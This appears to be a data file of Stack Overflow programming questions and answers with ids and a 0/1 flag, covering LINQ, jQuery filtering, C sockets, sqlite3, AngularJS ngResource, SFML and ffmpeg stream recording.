3907633	0	 <p>Simply use "where". For instance, to get all the "PassedStudents":</p> <pre><code>var passedStudents = from student in StudentList where student.StatusResult == ResultsStatus.PassedStudent select student; foreach (var student in passedStudents) { Console.WriteLine("[{0}.] {1} passed.", student.Id, student.Detail.Name); } </code></pre> <p>You can also write the query using lambda expressions:</p> <pre><code>var passedStudents = StudentList.Where(student =&gt; student.StatusResult == ResultsStatus.PassedStudent); </code></pre>
23407693	0	 <p>Apache Storm is a distributed realtime computation system (source: project website.</p> <p>CEP is complex event processing concerned with tracking and analyzing (processing) streams of information (data) about things that happen (events) and deriving a conclusion from them. (Source:wiki)</p> <p>They are two different things. Storm does not itself analyze unless you deploy some code that analyzes. That makes the code doing CEP, and not Storm. You can do CEP using Storm yes, or can do CEP u using JMS or whichever else. </p> <p>Actors such as Akka or Orleans are also candidate places to host event analysis code that does CEP.</p>
24144150	0	 <p>My take is that <code>__size</code> and <code>__align</code> fields specify (guess what :-) ) the size and alignment of the structure independently of the <code>__data</code> structure. So, the data can be of a less size and have less alignment requirements, it can be modified freely without breaking these basic assumptions about it. And vice-versa, these basic characteristics can be changed without altering the data structure, like <a href="https://sourceware.org/ml/libc-alpha/2003-04/msg00208.html">here</a>.</p> <p>It is important to note that if the size of the <code>__data</code> becomes bigger than specified by <code>__SIZEOF_PTHREAD_MUTEX_T</code>, an assertion fails in <code>__pthread_mutex_init()</code>:</p> <pre><code>assert (sizeof (pthread_mutex_t) &lt;= __SIZEOF_PTHREAD_MUTEX_T); </code></pre> <p>Consider this assertion as an essential part of this approach.</p> <p>So, the conclusion is that this was done not to hide the implementation details, but to make the data structure more predictable and manageable. It is very important for a widely-used library which should care a lot about backward compatibility and performance impact to other codes from the changes which can be made to this structure.</p>
21695943	0	checkbox list with filtering jquery -Only need to match first letter <p>i am using <code>check-box list</code> with filtering <code>jquery</code> on a page to populate all the customers name. However, when someone types "A", I only want the names that begin with A to show, not all that included the letter A. How to do this?</p> <pre><code> (function($) { $.widget("ui.checkList", { options: { listItems : [], selectedItems: [], effect: 'blink', onChange: {}, objTable: '', icount: 0 }, _create: function() { var self = this, o = self.options, el = self.element; // generate outer div var container = $('&lt;div/&gt;').addClass('checkList'); // generate toolbar var toolbar = $('&lt;div/&gt;').addClass('toolbar'); var chkAll = $('&lt;input/&gt;').attr('type','checkbox').addClass('chkAll').click(function(){ var state = $(this).attr('checked'); var setState = false; setState = (state==undefined) ? false : true; o.objTable.find('.chk:visible').attr('checked', setState); self._selChange(); }); var txtfilter = $('&lt;input/&gt;').attr('type','text').addClass('txtFilter').keyup(function(){ self._filter($(this).val()); }); toolbar.append(chkAll); toolbar.append($('&lt;div/&gt;').addClass('filterbox').text('filter').append(txtfilter)); // generate list table object o.objTable = $('&lt;table/&gt;').addClass('table'); container.append(toolbar); container.append(o.objTable); el.append(container); self.loadList(); }, _addItem: function(listItem){ var self = this, o = self.options, el = self.element; var itemId = 'itm' + (o.icount++); // generate item id var itm = $('&lt;tr/&gt;'); var chk = $('&lt;input/&gt;').attr('type','checkbox').attr('id',itemId) .addClass('chk') .attr('data-text',listItem.text) .attr('data-value',listItem.value); itm.append($('&lt;td/&gt;').append(chk)); var label = $('&lt;label/&gt;').attr('for',itemId).text(listItem.text); itm.append($('&lt;td/&gt;').append(label)); o.objTable.append(itm); // bind selection-change el.delegate('.chk','click', function(){self._selChange()}); }, loadList: function(){ var self = this, o = self.options, el = self.element; o.objTable.empty(); $.each(o.listItems, function () { console.log(); self._addItem(this); }); }, _selChange: function(){ var self = this, o = self.options, el = self.element; // empty selection o.selectedItems = []; // scan elements, find checked ones o.objTable.find('.chk').each(function(){ if($(this).attr('checked')){ o.selectedItems.push({ text: $(this).attr('data-text'), value: $(this).attr('data-value') }); $(this).parent().addClass('highlight').siblings().addClass('highlight'); }else{ $(this).parent().removeClass('highlight').siblings().removeClass('highlight'); } }); // fire onChange event o.onChange.call(); }, _filter: function(filter){ var self = this, o = self.options, el = self.element; o.objTable.find('.chk').each(function(){ if($(this).attr('data-text').toLowerCase().indexOf(filter.toLowerCase())&gt;-1) { $(this).parent().parent().show(o.effect); } else{ $(this).parent().parent().hide(o.effect); } }); }, getSelection: function(){ var self = this, o = self.options, el = self.element; return o.selectedItems; }, setData: function(dataModel){ var self = this, o = self.options, el = self.element; o.listItems = dataModel; self.loadList(); self._selChange(); } }); })(jQuery); </code></pre> <p>Here is my code.Please can anyone give any suggestion?</p>
30456195	0	How to pass multiple parameter on dynamic link function jquery function C#? <p>I have one c# web application in which put one link dynamically like,</p> <pre><code>if (oObj.aData[1] == '2') { Id = oObj.aData[7]; Name = oObj.aData[2]; alert(Name); return '&lt;a href=# onClick="Show(' + Id + ',' + Name + ');"&gt; Show &lt;/a&gt;'; //this is } </code></pre> <p>function like,</p> <pre><code>function Show(id,name) { alert('calling'); } </code></pre> <p>but my function not calling. </p> <p>Is any syntax error or anything else which I forgetting?</p> <p>Please help. </p>
35230328	0	 <p>If the XML you're trying to parse is what you've posted here, it's invalid since </p> <blockquote> <p>XML documents must contain one root element that is the parent of all other elements:</p> </blockquote> <p><a href="http://www.w3schools.com/xml/xml_syntax.asp" rel="nofollow">http://www.w3schools.com/xml/xml_syntax.asp</a></p> <p>(and yours doesn't, and parsing such string fails with <code>Exception: String could not be parsed as XML in ...</code>).</p> <p>So your XML should be:</p> <pre><code>&lt;?xml version="1.0" ?&gt; &lt;users&gt; &lt;user&gt; &lt;name&gt; foo &lt;/name&gt; &lt;token&gt; jfhsjfhksdjfhsjkfhksjfsdk &lt;/token&gt; &lt;connection&gt; &lt;host&gt; localhost &lt;/host&gt; &lt;username&gt; root &lt;/username&gt; &lt;dbName&gt; Test &lt;/dbName&gt; &lt;dbPass&gt; 123456789 &lt;/dbPass&gt; &lt;/connection&gt; &lt;/user&gt; &lt;user&gt; ... same structure... &lt;/user&gt; &lt;/users&gt; </code></pre> <p>And you don't need to iterate through the collection</p> <pre><code>// $nodes is SimpleXMLElement $user = $nodes-&gt;user[0]; if($user-&gt;token) return $user-&gt;token-&gt;__toString(); </code></pre>
356552	0	 <p>Per the <a href="http://msdn.microsoft.com/en-us/library/h0hfz6fc.aspx" rel="nofollow noreferrer">MSDN documentation</a> the valid values for mode are:</p> <p><strong>On</strong>: <em>Specifies that custom errors are enabled. If no defaultRedirect attribute is specified, users see a generic error. The custom errors are shown to the remote clients and to the local host.</em> </p> <p><strong>Off</strong> <em>Specifies that custom errors are disabled. The detailed ASP.NET errors are shown to the remote clients and to the local host.</em> </p> <p><strong>RemoteOnly</strong> <em>Specifies that custom errors are shown only to the remote clients, and that ASP.NET errors are shown to the local host. This is the default value.</em> </p> <p>The default is RemoteOnly. </p>
8303343	0	 <p>Just overcame a similar issue. JBoss 5 and 6 are much more strict with DTD validation than earlier versions, especially the 4.x series. Your <code>jboss.xml</code> file is failing DTD validation, either because element order is incorrect, or there are elements which don't validate against the DTD.</p> <p>Take a look at the order of the XML elements in <code>standardjboss.xml</code>, and you'll see how your <code>jboss.xml</code> file differs.</p>
10809079	0	 <p>Ok, here's the scoop. QTimer, for reason only known to the designers of QT, inherits the context of the parent of the thread. Not the context of the thread it's launched from. So when the timer goes off, and you send a message from the slot it called, you're not in the thread's context, you're in the parents context.</p> <p>You also can't launch a thread that is child of THAT thread, so that you can fire a timer that will actually be in the thread you want. Qt won't let it run.</p> <p>So, spend some memory, make a queue, load the message into the queue from elsewhere, watch the queue in the thread that owns the TCP port, and send em when ya got em. That works.</p>
11731523	0	 <p>The TCP protocol described in <a href="http://www.ietf.org/rfc/rfc793.txt" rel="nofollow">RFC 793</a> describes the terms <em>socket</em> and <em>connection</em>. A <em>socket</em> is an IP address and port number pair. A <em>connection</em> is a pair of <em>sockets</em>. In this sense, the same <em>socket</em> can be used for multiple <em>connections</em>. It is in this sense that the <code>socket</code> being passed to <code>accept()</code> is being used. Since a <em>socket</em> can be used for multiple connections, and the <code>socket</code> passed to <code>accept()</code> represents that <em>socket</em>, the API creates a new <code>socket</code> to represent the <em>connection</em>.</p> <p>If you just want an easy way to make sure the one <code>socket</code> that <code>accept()</code> creates for you is the same socket you used to do the <code>accept()</code> call on, then use a wrapper FTW:</p> <pre><code>int accept_one (int accept_sock, struct sockaddr *addr, socklen_t *addrlen) { int sock = accept(accept_sock, addr, addrlen); if (sock &gt;= 0) { dup2(sock, accept_sock); close(sock); sock = accept_sock; } return sock; } </code></pre> <p>If you are wanting a way for a client and server to connect to each other, without creating any more than just one <code>socket</code> on each side, such an API does exist. The API is <code>connect()</code>, and it succeeds when you achieve a <a href="http://stackoverflow.com/questions/5139808/tcp-simultaneous-open-and-self-connect-prevention"><em>simultaneous open</em></a>.</p> <pre><code>static struct sockaddr_in server_addr; static struct sockaddr_in client_addr; void init_addr (struct sockaddr_in *addr, short port) { struct sockaddr_in tmp = { .sin_family = AF_INET, .sin_port = htons(port), .sin_addr = { htonl(INADDR_LOOPBACK) } }; *addr = tmp; } void connect_accept (int sock, struct sockaddr_in *from, struct sockaddr_in *to) { const int one = 1; int r; setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &amp;one, sizeof(one)); bind(sock, (struct sockaddr *)from, sizeof(*from)); do r = connect(sock, (struct sockaddr *)to, sizeof(*to)); while (r != 0); } void do_peer (char *who, const char *msg, size_t len, struct sockaddr_in *from, struct sockaddr_in *to) { int sock = socket(PF_INET, SOCK_STREAM, 0); connect_accept(sock, from, to); write(sock, msg, len-1); shutdown(sock, SHUT_WR); char buf[256]; int r = read(sock, buf, sizeof(buf)); close(sock); if (r &gt; 0) printf("%s received: %.*s%s", who, r, buf, buf[r-1] == '\n' ? "" : "...\n"); else if (r &lt; 0) perror("read"); } void do_client () { const char msg[] = "client says hi\n"; do_peer("client", msg, sizeof(msg), &amp;client_addr, &amp;server_addr); } void do_server () { const char msg[] = "server says hi\n"; do_peer("server", msg, sizeof(msg), &amp;server_addr, &amp;client_addr); } int main () { init_addr(&amp;server_addr, 4321); init_addr(&amp;client_addr, 4322); pid_t p = fork(); switch (p) { case 0: do_client(); break; case -1: perror("fork"); exit(EXIT_FAILURE); default: do_server(); waitpid(p, 0, 0); } return 0; } </code></pre> <p>If instead you are worried about performance issues, I believe those worries are misguided. Using the TCP protocol, you already have to wait at least one full round trip on the network between the client and the server, so the extra overhead of dealing with another socket is negligible. A possible case where you might care about that overhead is if the client and server are on the same machine, but even then, it is only an issue if the connections are very short lived. If the connections are so short lived, then it would probably be better to redesign your solution to either use a cheaper communication medium (e.g., shared memory), or apply framing on your data and use a persistent connection.</p>
1973823	0	 <p>The various <a href="http://en.wikipedia.org/wiki/Central_bank" rel="nofollow noreferrer">Central Banks</a>, for example the <a href="http://www.ecb.int/stats/exchange/eurofxref/html/index.en.html" rel="nofollow noreferrer">ECB</a>, provide Forex rates free to the public.</p> <p>There is a <a href="http://pear.php.net/package/Services/ExchangeRates" rel="nofollow noreferrer">PEAR package for Forex Rates</a> and it is also not hard to code it yourself. Since the data is usually updated on a daily basis, you will want to add caching, so as not to hammer the bank's server.</p> <p>However, if your application is doing any time-critical conversion, you should resort to a commercial service, as these usually update more frequently. I think Yahoo and Google have a financial API and someone already mentioned XE.com.</p>
8328932	0	Eclipse toolbar with multiple rows <p>In my RCP app, I contribute several items to the main toolbar. The easy question now is: How do I make Eclipse lay them out so that they appear in a second row, just under the normal toolbar? Or can I add an additional toolbar that appears just under the main bar? Right now, they just appear somewhere between the other items contributed by other plugins. I tried a lot of stuff and searched a long time, couldn't find any answer though.</p>
6053897	1	how to assign an sql value to this python variable <p>ok i got this as simple as i can, everythings working and i need one last thing before I'm done with this issue i am using sqlite3 module in python i also have very limited sql expierance</p> <p>the problem- i need to take the only value out of an sql table; the tablename is saves and the row id is 0 the name of the row is lvl. i need to then assign this as the value of the python variable lvl. Then on closure of the program i need to update the sql table with the current value of the python variable lvl (it will take the place of the data i just retrieved--there will also be numerous operations in between).</p> <p>My code for assigning the value of the python Variable</p> <pre><code>conn = sql.connect('databaserm/database') curs = conn.cursor() curs.execute('SELECT 0 FROM saves') lvl = curs.fetchone() conn.commit conn.close() </code></pre> <p>after running this i get the output None</p> <p>and my code for adding data to the database on closure</p> <pre><code> elif choice == q: if choice == q: cn = sqlite3.connect('/databaserm/database') curs = cn.cursor() curs.execute('INSERT INTO saves (lvl) VALUES (?)', lvl) cn.commit cn.close() loop1 = 0 loop = 10000 print "Goodbye!" sys.exit(0) </code></pre> <p>after running this with a preloaded database and the previous code ommited i get a connection error</p> <p>i would be overjoyed at any help i'm offered and hope to work out a solution to this soon </p>
35674774	0	 <p>Yes this is possible. But one class needs to know the other class. Try it like this:</p> <pre><code>Class1 { public ExampleInstance Instance { get; set; } //Create your Class2 object here with Class2 SecondClassObject = new Class2(this) } Class2 { private Class1 MyCreator; public Class2(Class1 Creator) { this.MyCreator = Creator; } //Now you can use the object with: MyCreator.Instance } </code></pre> <p>Hope this helps.</p>
34066504	0	how to create a hover dropdown panel for logout and update profile function? <p>I want to create a yahoo like logout function where in whenever I hover over the username it should display a panel containing logout and update profile function. Currently I am using this code but its not working as expected.</p> <pre><code>&lt;ul&gt; &lt;li class="dropdown"&gt; &lt;a href="#" class="dropdown-toggle" data-toggle="dropdown"&gt;&lt;h1 id="hello"&gt;&lt;em&gt;&lt;?php echo $login_user;?&gt;&lt;/em&gt;&lt;/h1&gt; &lt;b class="caret"&gt;&lt;/b&gt;&lt;/a&gt; &lt;ul class="dropdown-menu"&gt; &lt;li&gt;&lt;i class="icon-arrow-up"&gt;&lt;/i&gt;&lt;a href="#"&gt;Logout&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;i class="icon-arrow-down"&gt;&lt;/i&gt;&lt;a href="#"&gt;Update Profile&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; </code></pre> <p>CSS</p> <pre><code>.dropdown-menu a { white-space: normal; left: 1000px; padding-bottom: 100px; } .dropdown-menu &gt; li { position: relative; } .dropdown-menu &gt; li &gt; i { position: absolute; left: 0; top: 3px; } </code></pre>
10097651	0	 <p>What compiler did you use, I'm willing to bet this worked because whatever compiler you used didn't zero out unused stack variables after a return, you didn't get a seg fault because its still your stack. basically md was left on the stack which you are technically still allowed to address. The difference between the two is </p> <blockquote> <p>largeObj md;</p> </blockquote> <p>is a variable receiving a variable in its entirety.</p> <blockquote> <p>largeObj&amp; mdd = iReturnLargeObjects();</p> </blockquote> <p>is a reference to a variable that due to a lazy compiler still exists.</p>
23738860	0	ASP Identity 2.0.0 usermanager calling wrong method? <p>I have implemented a custom UserStore for my ASP MVC project (with Identity 2.0.0, which I use for it allows the use of integer keys).</p> <p>The Usermanager is not custom implemented, but the Microsoft.AspNet.Identity.Usermanager implementation.<br/><br/> When I call: </p> <pre><code>IdentityResult result = await UserManager.CreateAsync(User, model.Password); </code></pre> <p>In my accountcontroller, the </p> <pre><code>public Task UpdateAsync(TUser user) </code></pre> <p>method is called instead of </p> <pre><code> public Task CreateAsync(TUser user) </code></pre> <p>How could this be? Is it a known bug? Could I work around this?</p>
11721376	0	 <p>For the benefit of other people with the same problem: make sure to use the Visual Studio x64 command prompt for launching the setup script.</p>
936296	0	Where do you perform your validation? <p>Hopefully you'll see the problem I'm describing in the scenario below. If it's not clear, please let me know.</p> <p>You've got an application that's broken into three layers, </p> <ul> <li>front end UI layer, could be asp.net webform, or window (used for editing Person data)</li> <li>middle tier business service layer, compiled into a dll (PersonServices)</li> <li>data access layer, compiled into a dll (PersonRepository)</li> </ul> <p>In my front end, I want to create a new Person object, set some properties, such as FirstName, LastName according to what has been entered in the UI by a user, and call PersonServices.AddPerson, passing the newly created Person. (AddPerson doesn't have to be static, this is just for simplicity, in any case the AddPerson will eventually call the Repository's AddPerson, which will then persist the data.)</p> <p>Now the part I'd like to hear your opinion on is validation. Somewhere along the line, that newly created Person needs to be validated. You can do it on the client side, which would be simple, but what if I wanted to validate the Person in my PersonServices.AddPerson method. This would ensure any person I want to save would be validated and removes any dependancy on the UI layer doing the work. Or maybe, validate both in UI and in by business server layer. Sounds good so far right? </p> <p>So, for simplicity, I'll update the PersonService.AddPerson method to perform the following validation checks - Check if FirstName and LastName are not empty - Ensure this new Person doesn't already exist in my repository</p> <p>And this method will return True if all validation passes and the Person is persisted, False if Validation fails or if the Person is not persisted.</p> <p>But this Boolean value that AddPerson returns isn't enough for me at the UI layer to give the user a clear reason why the save process failed. So what's a lonely developer to do? Ultimately, I'd like the AddPerson method to be able to ensure what its about to save is valid, and if not, be able to communicate the reasons why it's not invalid to my UI layer.</p> <p>Just to get your juices flowing, some ways of solving this could be: (Some of these solutions, in my opinion, suck, but I'm just putting them there so you get an understanding of what I'm trying to solve)</p> <ul> <li><p>Instead of AddPerson returning a boolean, it can return an int (i.e. 0 = Success, Non Zero equals failure and the number indicates the reason why it failed. </p></li> <li><p>In AddPerson, throw custom exceptions when validation fails. Each type of custom exception would have its own error message. In addition, each custom exception would be unique enough to catch in the UI layer</p></li> <li><p>Have AddPerson return some sort of custom class that would have properties indicating whether validation passed or failed, and if it did fail, what were the reasons</p></li> <li><p>Not sure if this can be done in VB or C#, but attach some sort of property to the Person and its underlying properties. This "attached" property could contain things like validation info </p></li> <li><p><strong>Insert your idea or pattern here</strong></p></li> <li><p><strong>And maybe another here</strong></p></li> </ul> <p>Apologies for the long winded question, but I definately like to hear your opinion on this. </p> <p>Thanks!</p>
23775406	0	 <p>I'm still not sure if this is doable through the REST endpoint. We've found cases where the SOAP endpoint offers functionality that the REST endpoint does not, and this might be one those cases.</p> <p>What I did was to use the SOAP endpoint instead. There was no built in method for this, so I had to use the general one. That, in this case, was an organization request, where I had se the request name to "AddMemberList".</p>
3675782	0	 <p>Ok, again I found out some of them:</p> <ul> <li><a href="http://boxcar.io/" rel="nofollow noreferrer">http://boxcar.io/</a></li> <li><a href="http://howlapp.com/" rel="nofollow noreferrer">http://howlapp.com/</a></li> <li><a href="http://prowl.weks.net/" rel="nofollow noreferrer">http://prowl.weks.net/</a></li> </ul>
33734349	0	Newline in input filed? <p>I am new to php and never used php. I have one application backend with php. There function for add new text. Its input filed. when I type some text there and if I need some text in new line than its not possible. If I press Enter key for add new line, its saving my data. my code for it like below.</p> <pre><code>public function create() { $this-&gt;set_form_validation_rules(); $data["authors"] = $this-&gt;quotes-&gt;get_authors(); if ($this-&gt;form_validation-&gt;run() == FALSE) { $this-&gt;view("back/create", $data); } else { $this-&gt;quotes-&gt;create(); $this-&gt;redirect_overview(lang("noti_success_added")); } } </code></pre> <p>Please help me for solve issue... Thanks</p>
31685741	0	 <p>You can create function like this:</p> <pre><code>function changeTemplate($state, template) { return { scope: { 'resource': '=', 'template': '=' }, template: '&lt;div ng-include="{{template}}"&gt;&lt;/div&gt;', link: function (scope) {.... // cool code } } } </code></pre> <p>And just change template argument on parent scope.</p>
37208039	0	 <p>It seems you are putting the custom property on the log4net.ThreadLogicalContext which is of type DateTime . Why not put it in string format instead of the DateTime type. This make the output a lot easier as trying to add a layout into your configuration.</p>
14440353	0	No Known Conversion for SFML Vector2i <p>I'm completely burned out on this one, but why am I getting:</p> <pre><code>client.cpp: In member function 'void Client::netRead(int, int)': client.cpp:158:57: error: no matching function for call to 'Client::nextGameUpdate(sf::Vector2i [0], int [0], sf::IpAddress [0], int&amp;)' client.cpp:158:57: note: candidate is: client.cpp:85:6: note: void Client::nextGameUpdate(sf::Vector2i, int, sf::IpAddress, int) client.cpp:85:6: note: no known conversion for argument 1 from 'sf::Vector2i [0] {aka sf::Vector2&lt;int&gt; [0]}' to 'sf::Vector2i {aka sf::Vector2&lt;int&gt;}' [Finished in 4.7s] </code></pre> <hr> <pre><code> void Client::nextGameUpdate(sf::Vector2i qq, int ww, sf::IpAddress cc, int dataSize) { pListIP[dataSize] = cc; pListVec[dataSize] = qq; pListRot[dataSize] = ww; int num_pListIP = sizeof(pListIP)/sizeof(sf::IpAddress); if (num_pListIP == lastPlayerCount) { return; } else if (num_pListIP &gt; lastPlayerCount) { int new_players = num_pListIP - lastPlayerCount; for (new_players; new_players&gt;0; new_players--) { addPlayer(); } } else if (num_pListIP &lt; lastPlayerCount) { int dc_players = lastPlayerCount - num_pListIP; for (dc_players; dc_players&gt;0; dc_players--) { removePlayer(); } } lastPlayerCount = num_pListIP; } void Client::netRead(int net_step, int dataSize) { sf::Packet player_vectors; sf::Packet player_rotations; sf::Packet player_ips; switch (net_step) { case 1: if (socket.receive(player_vectors, sender, senderPort) != sf::Socket::Done) return; while (dataSize&gt;0) { sf::Vector2i tmp_vec; player_vectors &gt;&gt; tmp_vec.x &gt;&gt; tmp_vec.y; pListVec[dataSize] = tmp_vec; dataSize--; } break; case 2: if (socket.receive(player_rotations, sender, senderPort) != sf::Socket::Done) return; while (dataSize&gt;0) { int tmp_rot; player_rotations &gt;&gt; tmp_rot; pListRot[dataSize] = tmp_rot; dataSize--; } break; case 3: if (socket.receive(player_ips, sender, senderPort) != sf::Socket::Done) return; while (dataSize&gt;0) { std::string tmp_str; player_ips &gt;&gt; tmp_str; sf::IpAddress tmp_ips = tmp_str; pListIP[dataSize] = tmp_ips; dataSize--; } break; } nextGameUpdate(pListVec, pListRot, pListIP, dataSize); } </code></pre> <hr> <p>Header</p> <pre><code>private: sf::Vector2i pListVec[]; sf::IpAddress pListIP[]; int pListRot[]; </code></pre> <p>I feel like it has something to do with the array I'm trying to fill with sf::Vector2i... <em>/me stares blankly at screen</em></p> <p>So very simply put. netRead gets info from another function that is very basic. Then the switch goes through the net_step int...</p> <p>After the game has received all the packets needed to continue, we trigger the nextGameUpdate() and send it 3 arrays and a dataSize int variable.</p> <p>Thanks in advance if you figure this one out. ^^</p>
11684553	0	BUG: Recommendations Bar on same page as Facebook Comments <p>I have just added in the new Facebook Recommendations Bar (using the HTML5 version) to a number of blogs and realised that some of them aren't working. After a little digging I managed to pin it down to when I also have the Facebook Comments plugin on the same site. As soon as I comment that out it all works again.</p> <p>The following is being logged in my console 'FB.getLoginStatus() called before calling FB.init()'.</p> <p>None of these sites have anything on the front end we have developed that that use FB.getLoginStatus.</p> <p>Hope this helps to get it resolved quickly.</p> <p>Aran</p>
17373613	0	 <p>Is <code>MyKey</code> actually immutable?</p> <p>If a key is changed after it has been used in the <code>Multimap</code> (or a <code>HashMap</code>, for that matters), and the change effects <code>hashCode()</code> and <code>equals()</code>, you won't be able to find the associated values anymore: the modified hashcode means the lookup does not happen in the bucket where the values were stored.</p>
15192511	0	Why is ngResource modifying saved object to this: g {0: "O", 1: "K", ..} after receiving a response <p>I have a default ngResource defined like this:</p> <pre><code>var Posts = $resource('/posts/'); </code></pre> <p>And after I get one blogpost from my nodejs server like this:</p> <pre><code>$scope.post = Posts.get({_id:query._id}); </code></pre> <p>User makes some changes to it, then I call:</p> <pre><code>$scope.post.$save(); </code></pre> <p>After server returns response code 200, my $scope.post looks like this:</p> <pre><code>g {0: "O", 1: "K", $get: function, $save: function, $query: function, $remove: function, $delete: function} </code></pre> <p>Why? Is there some reason? Should letters "O" and "K" mean that the operation was a success and returned response 200? Would I be able to modify this behaviour without writing my own save method from scratch?</p>
22250065	0	The constructor Skin(TextureAtlas) is undefined libgdx <p>I'm coding for android using libgdx but when I try to create a skin using a TextureAtlas, eclipse throws me an error saying to remove argument or change type to FileHandle</p> <pre><code>atlas = new TextureAtlas(Gdx.files.internal("data/packs/button.pack")); skin = new Skin(atlas); </code></pre>
17807818	0	Highlight text while playing audio clip in android media player <p>I have a textview in which I have display the lyrics of one audio song &amp; simultaneously i play the audio from raw folder and now I want to highlight the lyrics from textview as per the audio play. So anyone has any idea about this. I have the source code to highlight I just want to find the word palying in audio.</p>
40923376	0	 <p>You can use regular expressions to match any of the bad words:</p> <pre><code>is_bad = re.search('|'.join(bad_words), bad_string) != None </code></pre> <p><code>bad_string</code> is the string to test, <code>is_bad</code> is <code>True</code> or <code>False</code>, depending on whether <code>bad_string</code> has bad words or not.</p>
12343733	0	C++ Simple 0-10 multiplication flashcard using rand() <p>I am having trouble grasping the concept of rand() and srand() in c++. I need to create a program that displays two random numbers, have the user enter a response, then match the response with a message and do this for 5 times. </p> <p>My question is how do I use it, the instructions say I can't use the time() function and that seems to be in every tutorial online about rand().</p> <p>this is what I have so far.</p> <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt; #include &lt;cstdlib&gt; using namespace std; int main() { int seed; int response; srand(1969); seed=(rand()%10+1); cout&lt;&lt;seed&lt;&lt;" * "&lt;&lt;seed&lt;&lt;" = "; cin&gt;&gt;response; cout&lt;&lt;response; if(response==seed*seed) cout&lt;&lt;"Correct!. you have correctly answered 1 out of 1."&lt;&lt;endl; else cout&lt;&lt;"Wrong!. You have correctly answered 0 out of 1."&lt;&lt;endl; </code></pre> <p>This just outputs something like 6*6 or 7*7, I thought the seed variable would be not necessary different but not the same all the time?</p> <p>This is what the output should look like:</p> <pre><code>3 * 5 = 34 Wrongo. You have correctly answered 0 out of 1. 8 * 1 = 23 Wrongo. You have correctly answered 0 out of 2. 7 * 1 = 7 Correct! You have correctly answered 1 out of 3. 2 * 0 = 2 Wrongo. You have correctly answered 1 out of 4. 8 * 1 = 8 Correct! You have correctly answered 2 out of 5. Final Results: You have correctly answered 2 out of 5 for a 40% average. </code></pre> <p>and these are the requirements:</p> <p>Your program should use rand() to generate pseudo-random numbers as needed. You may use srand() to initialize the random number generator, but please do not use any 'automatic' initializer (such as the time() function), as those are likely to be platform dependent. Your program should not use any loops.</p>
8727525	0	 <p>Both <a href="http://www.h2database.com" rel="nofollow">H2</a> and <a href="http://hsqldb.org/" rel="nofollow">HyperSQL</a> support embedded mode (running inside your JVM instead of in a separate server) and saving to local file(s); these are still SQL databases, but with Hibernate there's not many other options.</p>
31419105	0	 <p>Java's <code>outputstream</code> can not do what you want either, all it can do is send <code>byte[]</code> which is exactly what C#'s socket classes do.</p> <p>If you want to send complex objects you must use some form of "Serializer" which will let you transform your objects in to a <code>byte[]</code> to be sent out.</p> <p>A easy to use serializer that is built in to .NET is <a href="https://msdn.microsoft.com/en-us/library/system.xml.serialization.xmlserializer(v=vs.110).aspx" rel="nofollow"><code>XmlSeralizer</code></a>, this will produce a string that you can then feed in to a <a href="https://msdn.microsoft.com/en-us/library/system.io.streamwriter(v=vs.110).aspx" rel="nofollow"><code>StreamWriter</code></a> which will convert the string to a <code>byte[]</code> and write it out on to the socket. The other end would just use the reverse process using a <code>StreamReader</code>.</p> <p>If you do not want to use that intermediate text step I would <strong><em>NOT</em></strong> recomend using <a href="https://msdn.microsoft.com/en-us/library/system.runtime.serialization.formatters.binary.binaryformatter(v=vs.110).aspx" rel="nofollow"><code>BinaryFormatter</code></a> like you see frequently on the internet, it is very "fragil" and having different levels of .NET Windows updates installed on both ends can end up breaking it. Instead I recommend using a 3rd party binary serializer like <a href="https://code.google.com/p/protobuf-net/" rel="nofollow">Protobuf-net</a></p>
33597483	0	WPF MVVM ScrollIntoView <p>I have a view with two listboxes:</p> <p>Listbox 1 elements: A, B, C. Listbox 2 elements: ..., A, ..., B, ..., C, ... (long list).</p> <p>When the user selects an element in listbox 1, I want to scroll the same element into view (not select) also in listbox 2.</p> <p>In my viewmodel I have a property bound to the SelectedItem of Listbox 2. But how can I scroll that element into view of listbox 2? Of course I cannot do listbox.ScrollIntoView(selectedItem) in my VM.</p> <p>What's the best solution to solve this problem with the MVVM pattern?</p>
30441990	0	ffmpeg recording h264 live stream got error <p>I am trying to record a h.264 live stream using the following code:</p> <pre><code> AVOutputFormat* fmt = av_guess_format(NULL, "test.mpeg", NULL); AVFormatContext* oc = avformat_alloc_context(); oc-&gt;oformat = fmt; avio_open2(&amp;oc-&gt;pb, "test.mpeg", AVIO_FLAG_WRITE, NULL, NULL); AVStream* stream = NULL; ... while(!done) { // Read a frame if(av_read_frame(inputStreamFormatCtx, &amp;packet)&lt;0) return false; if(packet.stream_index==correct_index) { //////////////////////////////////////////////////////////////////////// // Is this a packet from the video stream -&gt; decode video frame if (stream == NULL){//create stream in file stream = avformat_new_stream(oc, pFormatCtx-&gt;streams[videoStream]-&gt;codec-&gt;codec); avcodec_copy_context(stream-&gt;codec, pFormatCtx-&gt;streams[videoStream]-&gt;codec); stream-&gt;sample_aspect_ratio = pFormatCtx-&gt;streams[videoStream]-&gt;codec-&gt;sample_aspect_ratio; stream-&gt;sample_aspect_ratio.num = pFormatCtx-&gt;streams[videoStream]-&gt;codec-&gt;sample_aspect_ratio.num; stream-&gt;sample_aspect_ratio.den = pFormatCtx-&gt;streams[videoStream]-&gt;codec-&gt;sample_aspect_ratio.den; // Assume r_frame_rate is accurate stream-&gt;r_frame_rate = pFormatCtx-&gt;streams[videoStream]-&gt;r_frame_rate; stream-&gt;avg_frame_rate = stream-&gt;r_frame_rate; stream-&gt;time_base = av_inv_q(stream-&gt;r_frame_rate); stream-&gt;codec-&gt;time_base = stream-&gt;time_base; avformat_write_header(oc, NULL); } av_write_frame(oc, &amp;packet); ... } } </code></pre> <p>However, the ffmpeg says </p> <pre><code>encoder did not produce proper pts making some up </code></pre> <p>when the code runs to av_write_frame(); what's the problem here?</p>
